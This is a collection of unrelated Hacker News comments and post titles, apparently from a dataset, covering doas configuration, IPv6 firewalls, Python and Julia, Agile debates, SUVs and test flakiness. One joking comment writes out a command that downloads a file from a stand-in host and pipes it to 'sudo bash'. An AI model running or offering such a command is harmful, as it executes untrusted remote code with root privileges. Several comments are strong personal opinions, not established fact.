skysight-inc/HackerNews huggingface dataset:
I switched from sudo to doas when setting up my new laptop ~ two years ago, took some time to get accustomed, but it is really much simpler..

For `sudo -i` you can just use `doas -s`.
https://manpages.debian.org/bookworm/opendoas/doas.1.en.html

Keeping the environment via `sudo -E` is slightly trickier.
If you need that for a fixed set of commands you can enable keeping the environment for those explicitly via the configuration file using the `keepenv` option. You can also set specific variables for specific commands,

https://manpages.debian.org/bookworm/opendoas/doas.conf.5.en...

But you would need to use a workaround if you want to keep the environment for a command without always adding that to the configuration, one way would to add a wrapper executable and add a permanent rule for that, e.g. something like the following should work:

# reuse the `env` tool, but use an explicit symlink to have clear boundaries
ln -s /bin/env /bin/keep-env

# add rule for keep-env to doas cfg, replace USER with your user name, or prefix with : for a group
echo 'permit persist keepenv USER cmd /bin/keep-env' | tee -a /etc/doas.conf

# run command
doas keep-env THE-ACTUAL-COMMAND

Disclaimer, not deeply tested and there might be even better options, but FWIW, this workaround is at least quite simple in principle.
Not really, ISPs (who are on nanog) tend to like ipv6. The ones who complain are sysadmins and network operators of campus/corporate networks.
> Whether or not the government of Russia was initially involved, there's a pretty convincing argument to be made that a government harboring an individual who attacked another country makes it a government sanctioned action in at least some sense.

Countries refuse extradition for many reasons: they lack a reciprocal agreement with the other country, laws against extraditing citizens, laws against extraditing residents to face potential execution, etc.

While Russia is the Nazi Germany of examples, refusing to extradite a person doesn't automatically mean anything.

Of course, if someone wanted to go to war with Russia, it makes for a wonderful pretext.
Hah yeah i guess you can interpret it like that, but i give the same leeway to agile when they skip the retros and the planning before the sprints etc. You cant blame the process if you dont even make an attempt of adhering to it :)
> which page is accessible at a certain time

Sounds like a context switch to me :) (at least for the MMU registers)
Perfectly engineering is nearly impossible. In my experience systems always end up under or over engineered. The distinction also depends on what's on the backlog – if you have a feature that's going to be hard to implement because of inflexibility, you're under-engineered, if it's easy but other features require more work than they should, you're over-engineered.

I can't make a judgement call on whether they're over or under engineered, but it's good to pick which one you would rather be, write that into your engineering team's DNA, and then learn to work with it.
I'm far from a CPU or architecture expert but the way you describe it this CPU reminds me a bit of the Cell from IBM, Sony, and Toshiba. Though, I don't remember if the SPEs had any sort of shared memory in the Cell.
They need login to effectively ban people.

Using email login doesn't archive that (and is more work).

Using providers like Facebook, Google, GitHub is good enough, through
e.g. in case of GitHub definitely not perfect. But good enough is good enough.

I just which there would be more anonymity protecting *independent* auth providers you could widely use (which still could allow you to properly ban someone).
Do people not try to work out the ethymology of words? Everything makes more sense when you know where words came from and how they came to be. :)
Ask HN: How do you not feel weirded out when studying human anatomy?
Hi everyone.

I’m studying human anatomy in my second year of medical school in Turkey. I like the subject, but when I see models, images, videos or dissections of human bodies, I get weirded out.

The body parts (especially the brain) and functions make me feel this way. I also feel weird about the fact that I and other people are just made of organs and tissues. We're basically just glorified meat. It's crude.

This makes me feel hollow, very hollow, promptly followed by an existential crisis, which then goes away after a while, but comes back again with a vengeance here and then.

I used to wishfully think that our bodies were special, something almost magical or half magical at least, not too anchored to the physical world, probably influenced by religion, but that hope fades every time I face reality.

How do you deal with this? How do you cope? How do you get out of this mindset?
Traits typically associated with genius individuals
You're disagreeing with the comment you replied to. That comment said the EFF is bad because it actually wants the government to intervene, not ISPs. Your comment says the EFF is bad because it wants companies to be allowed to do what they want. Did you misread the comment or did I misread yours?
Don't take this the wrong way, but I don't really care about how your 2.3 apps were or were not affected. It's not my job to maintain them. The apps I cared about were the apps I had to mantain. And it turns out that if you have tens of thousands of lines of python, you eventually hit a problem that needs to be fixed.

So sure... if you have a 200 line program, maybe you won't hit any code whose semantics have changed. Large apps will (and still do.)
Ten years ago, Python used to be excellent as a second choice for everything. So if you dabbled in machine learning, web, statistical analysis, text processing, system scripting, computer algebra, etc, it made sense to learn some Python even if your main job was in something else.

So it grew a critical mass of people who know Python but not for the sake of Python itself, but for something else. And suddenly these people are invested. They want more, better, and faster. And then the demand pulls the proposition, and a decade later, Python is a big thing.

I work in applied geometry. Numpy is good. Pandas is of little relevance for what I do. But what became a gamechanger is Numba. It's a run-time compiler that brings Python into native code for the target architecture, Inter, ARM, or even NVidia GPGPU.

We used to do research in Python, invent algorithms there, and then rewrite them in C++ "for performance". The last time we did that, C++ version became 3 times as slow as the Python one when translated literally. We hid the fact by rewriting the algorithm itself, but that was the last straw. We now run Python in the cloud directly, and it rebuilds the native code for every piece of hardware we procure for the task automatically and I think this is beautiful.
You're right, this is a massive weakness in the cryptocurrency space and until this gets better solutions I doubt there will be more mainstream adoption (without centralised custodians). But I will say that this isn't only a problem in the cryptocurrency space, it's a general problem for cryptographic systems. We need better generic systems for managed cryptographic keys, with several levels of backups and recovery options, with minimum hassle. ERC-4337 standard goes in the right direction.
Their inefficiency at large-scale graph problems is the entire reason DARPA wrote out the program that funded this chip.
Similar service is provided by Protonmail (offered via SimpleLogin). Quite handy tool for all those various places that want you to sign up and aren't your day-to-day primary services.
The Rise of Affective Polarization
Having the ~~clergy~~ ~~nobility~~ bourgeoisie decide what is "harmful to society" and unilaterally censor it is far more harmful. The fact that "pro free-speech" is considered something to sneer at makes me want to facepalm. People will say unpleasant things, but it's far less unpleasant then being told what we're "allowed" to hear "for our safety". The idea that they're "detached from humanity" and killing people by this is ridiculous
If you have a system with a fast sort/order by operation but a slow (or missing) shuffle, one trick that I sometimes use is to generate a new random number for each record, then sort by that random number.

Uniform sampling is also quite easy (and principled) - you can just take the first n records.
"Burn it down" is the same short sighted reactionary thinking as "surveil it all". A blanket judgement.
Are you sure you want your product development roadmap to be this open? Feedback platforms have major issues.

Users will suggest a feature - and nothing happens for years. And because it's trivial to suggest even very complex features without skin in the game, you will end up with an endless Todo list that lives a ghost life adjacent to your issue tracker.

It sounds great in theory but the reality is that these solutions expose the inner workings of companies and mostly it means seeing how broken product development.

Take for instance Raindrop.io. It has a public feedback platform like the one you describe and it's depressing and worrying seeing how features and bugs stay in dev limbo for years without any meaningful progress.
Good luck building a chronology for 50+ engineers ahead of time that isn't either horrifically over estimated or instantly wrong.

Waterfall is a pacifier for people who would rather have lies than uncertainty.
> I see little difference between collecting fingerprints and DNA samples.

There's a huge difference... Its like alphabet VS encyclopedia
I think that was pithier in your head...

The defense he's speaking of isn't in saying the scoundrel isn't a scoundrel, it's against the oppressor. That's why he still called them scoundrels.
This is not helped by the RFCs that specify the behaviour of these core protocols. It is rare to find a network protocol rfc that is clear, specific and not self contradictory (IPSec rfcs come to mind as a positive example).

Say, compare RFC3174 (sha1) and e.g. rfc4664 (l2vpn)
the first is almost a copy-paste implementation, with tests and all.
the second reads like a "write a presentation, ten pages minimum"

or look at the base bgp4 rfc - that overspecified imaginary state machine is a good illustration of how bad things are there.
If many people believe that co-governance is undemocratic, what does "following contracts" have to do with anything? Frankly, why should New Zealand be forever bound by the treaty? Parliament is supreme, if they didn't want to follow the treaty they don't have to.
Democratising Access to Quantum Computing
What I am objecting to is you asserting my experience didn't happen.
The invisible war: How authoritarian states could attack Western Europe [NZZ]
In a two-part analysis, the Swiss NZZ examines the shapes conflicts might take in the future – and what refugees, bots and viruses might have to do with it. This first part focuses on the mechanics of a hybrid operation plan. In the second part of modern forms of conflict, they examine how a pandemic may function as a line of operations and illustrate methods of influence.

Link to second part: https://www.nzz.ch/english/how-authoritarian-states-use-viru...
For me the goal of Agile, especially in giant 100+ yo organization, is to tell people that it's less important to fit the plan than to fit the need of the external stakeholder.

Who cares if 6 months ago some important managing director signed off on a useless feature nobody wants anymore: kill it now and move on, we're agile. This is literally the only way I've seen used agile in big orgs: in words only, and it's liberating: we stop spinning endlessly between useless features as the clients move on faster than us, now we can actually skip a beat and go faster, and screw the paper pushers bemoaning that "everything changes". Because yes, everything changes.
I don't think that's what that is. It's just them touching everything.
There's two single threaded cores, but the four multithreaded cores are indeed Tera-style barrel processors. The Tera paper is even cited directly in the PIUMA white paper: https://arxiv.org/abs/2010.06277

edit: s/eight/four
Where do you get the info about power draw?

Intel doesn't publish anything except TDP.

Being generous and saying TDP is actually the consumption; most Intel Mac's actually shipping with "configurable power down" specced chips ranging from 23W (like the i5 5257U) to 47W (like the i7 4870HQ); (NOTE: newer chips like the i9 9980HK actually have a lower TDP at 45w)

of course TDP isn't actually a measure of power consumption, but M2 Max has a TDP of 79W which is considerably more than the "high end" Intel CPU's; at least in terms of what Intel markets.
For obscurity (and some security) reasons.

My ISP supports ipv6 and i have it configured - however their software on the router/AP is bad and does not allow setting up a firewall for ipv6. This is inherent with ipv4 NAT (with uPnP disabled).
So it forced me to use my own router - still the interface for ipv6 firewall is non-existent, but at least i can write firewall rules manually.

Why do I need firewall on router? Because devices on my network have services open on all interfaces - For example "smart" weather station has web service open for all to see. This is absolutely non-issue when only using ipv4 behind NAT.

Another issue is revealing of internal network topology to outside world - this is something that NAT hides really well.
> He's written "over 800 scientific papers". Is that... a good thing in his field?

Irrespective of his field, that's about one every 18 days assuming a 40 year career (he's 62 now). There has to be certain amount of repetition and re-use of ideas to sustain that cadence. Also, the 800 includes books (greater than average effort) and co-authored papers (some effort shared with others).
I understand but Code LLama or CoTracker do not create content for Facebook/Instagram. Moreover, AI-generated content is not so engageable as a human-generated content. I don't think the purpose is to have more content at lower price.

The theory makes sense, but it's not clear what its complement is?
I wonder how this compares to the motion estimation algorithms in the x264 and x265 video codecs. If it's better, then it can be used to increase video compression, by using it at the motion estimation stage for these codecs.
Isn't using someone else's work without attribution the whole point of (modern) AI?

I don't get any attribution for the code or messages I wrote that GPT4 was trained on, and there are multiple examples of LLMs regurgitating people's code (even copyrighted code) without attribution.

https://news.ycombinator.com/item?id=33226515
Check here: https://www.anandtech.com/show/17024/apple-m1-max-performanc...

Keep in mind that Intel might ship a 23w chip but laptop makers can choose to boost it to whatever it wants. For example, a 23w Intel chip is often boosted to 35w+ because laptop makers want to win benchmarks. In addition, Intel's TDP is quite useless because they added PL1 and PL2 boosts.
Should .NET Apps Switch to ARM?
If they took away the code or relicensed it so you couldn't run it yourself I'd have a lot more sympathy.
Waterfall is natural law. All technology goes through the process:

Analysis - Requirements - Specification - Design - Implementation - Qualification - Testing - Release.

You literally cannot have good technology without enforcing this workflow and properly completing each step. Its a function of the nature of the way the mind works to solve a problem and encode that solution into a workable technology.

This natural law is resisted by those who do not have experience with it, and who also attempt to make their mark on the universe by either re-inventing this natural law, and slapping their own brand on it, or attempting to ignore key parts they don't like, and in which they are not competent, refactoring it over time only to discover .. as it is a natural law - that they end up re-inventing it, as well. And then slap their brand on it.

But I can say with great confidence after 40 years of developing technology, that the more you resist this natural law, the worse your product will be. All failed technology can be evaluated on the basis of how well this workflow was manifested by those involved.

Scrum is just New-Age Waterfall. Agile is just 'officious scrum'. 10x developers are merely individuals who have stopped resisting this natural law, and in so doing have worked out how to apply it productively in almost everything they do ..

Another factor is that Waterfall is iterative. You can do it in grandiose fashion, and you can do it on a granular, microcosm-level. The more you iterate, the more water flows, and the better things get - but people tend to resist revising themselves. The inclination to check oneself before one wrecks oneself is either bred out, culturally, or reinforced through the gauntlet of fire that is the modern industry. The better you get at iterating over the waterfall, the higher quality your product.
Sure. And the Democratic People's Republic of Korea is democratic because it says so in the name.

I've personally seen the doxxing threads before and throughout the entire Keffals drama that got KF banned from so many platforms and services. There are videos out there of people going through those threads. The threads were pages upon pages long and KF regulars actively participated in them and cheered on the doxxing attempts.

Trying to whitewash Kiwi Farms as just a site people go to have fun is pathetic. Especially to do so in a place like HN where people likely are aware enough of online drama to be able to call you out on this.
I was able to convince my coworkers to stop working on a Python project (a simulator for a scientific instrument) once we all realised that we would have not been able to keep using plain Python because of performance. When the alternatives where (1) to force everybody to learn either C or Fortran, or (2) to rewrite everything in Julia, they asked me to provide examples of both solutions. After I showed them a few different approaches (pybind, cbind, f2py...), there was full consensus for Julia. We moved what we implemented so far (it was not to much, luckily), and so far nobody has regretted the choice.

The problem in using two languages is that you do not have just to learn a new language besides Python. You have also to figure out how to properly interface them. (f2py was considered the easiest solution, but we feared that the 1- vs 0-based array indexing would have likely caused many bugs.)
yes, the EU launched a separate instant payment scheme a decade later

doesn't mean the EU had anything to do with the UK's domestic faster payments scheme

(SEPA is also euro only)
At a population level that's where rent increases to extract every spare cent from workers.

Sure an individual worker can earn more and spend less, but at scale if everyone does that means that the excess money is taken by land owners.
"bulletproof hoster communities like LowEndTalk"

This is a joke, right? lmao
Purchasing hardware from ASRockRack has made me realise just how far ahead the likes of Dell really are.
- Worst docs Ive ever seen.
- BIOS settings where you wonder if anything under them is actually implemented.
- Non existent support
- An IPMI solution that works some of the time and fails in weird ways
Thank you :D Maybe on the future a privacy friendly translator can be found to translate the SRT, currently Whisper only supports other languages to English :/
tldr a drug they were administering intravenously for 30 ~ 60 mins will now be a subcutaneous jab, taking about 7 minutes.
Things to Do in London This Autumn
Range Rovers are a disease in the UK.

A brand which had it's origins in the military and farming, which has now been repurposed to drop kids off at a school.

It's also the most frequent car I see which is sped around and overtakes with zero concern for other road users. The people driving them seem to not understand the size of their car and either pass over-cautiously or tunnel through everybody else whenever the road is partially obstructed (parked cars in towns and villages).

The modern Range Rovers no longer even work for their original purpose. They're not sturdy enough to last on a farm, just fashion symbols.

When I question if humanity will tame itself and step down from destroying our world in the pursuit of comfort and consumerism at all costs, the first thing I think of is a white Range Rover Discovery.
curl https://what.could.possibly.go.wrong/totally.not/a/virus.exe | sudo bash
Quantum Supremacy Explained
China faces lost decade, Japan thinks its near turning point in deflation battle
https://archive.is/K8kCL

Just as China faces a Japan-style ‘lost decade,’ Japan thinks it’s near a ‘turning point’ in decades-long deflation battle
> Jit.si must not care about privacy or they'd have other OAuth options from the start.

Such as? What provider would you be comfortable with?
Maybe routing commands just to the limbs becomes too complicated and the commands spill over to related routes.

Or maybe the brain is too busy with the limbs and relinquishes face control which starts acting on random signal flows.

You can see this in other situations, for example when you are in a high impact situation you stop caring about "how you look".
https://en.wikipedia.org/wiki/Capability-based_addressing ?
Apple always shipped their chips with "configurable power down" when it was available, which isn't available on higher specced chips like the i7/i9 - though they didn't disable boost clocks as far as I know.

The major pains for Apple was when the thermal situation was so bad that CPUs were performing below base clock. -- at that point i7's were outperforming i9's because they were underclocking themselves due to thermal exhaustion; which feels too weird to be true.
The interesting thing to me is that all the 'rational' arguments given by SUV buyers (more storage, easy of entry, larger interior space) are without exception much better in any family MPV instead of SUVs that invariably are also pretty shit off-road vehicles.

Literally just more weight and waste, zero function other than satisfying the buyers reptilian brain.
This is a bunch of wishful thinking...

Some software projects, let's call them "integration projects" use third-party software they can do nothing about. And it just doesn't work well. But you have to use it in testing because... well, you are the integrator. The users have already accepted the fact that the software you are integrating doesn't work well, so, it's "all good", except it makes it very hard to distinguish between failures that need to be addressed and those that don't.

Just to give you one example of this situation: JupyterLab is an absolute pile of garbage in terms of how it's programmed. For example, the side-bar of the interface doesn't load properly quite often, and you need to click on "reload" button few times to get it to show up. Suppose now you are the integrator which provides some features that are supposed to be exposed to the user through JupyterLab interface. Well, what can you do? -- Yes. Nothing. Just suck it up. You can manipulate the threshold for how many times you will retry reloading the interface, but you absolutely have to have a threshold because sometimes the interface will never load (because of some other reason), and you will be stalling the test pipeline if you don't let this test fail.

In general, the larger the SUT, the more "foreign" components it has, the harder it is to predict the test behavior, and the more flaky the tests are.

But this isn't the only source of test flakiness. Hardware is another source. Especially in embedded software that has to be tested on hardware that the software company has limited access to (think something like Smart TV, where the TV vendor provides some means of accessing the OS running on the TV set, but they deliberately limit the access in such a way as to prevent the SW company from getting access to the proprietary bits installed by the vendor). So, sometimes things will fail. And you wouldn't know why and wouldn't be able to discover (as in, if you tried to break into vendor's part of the software, they'd sue you).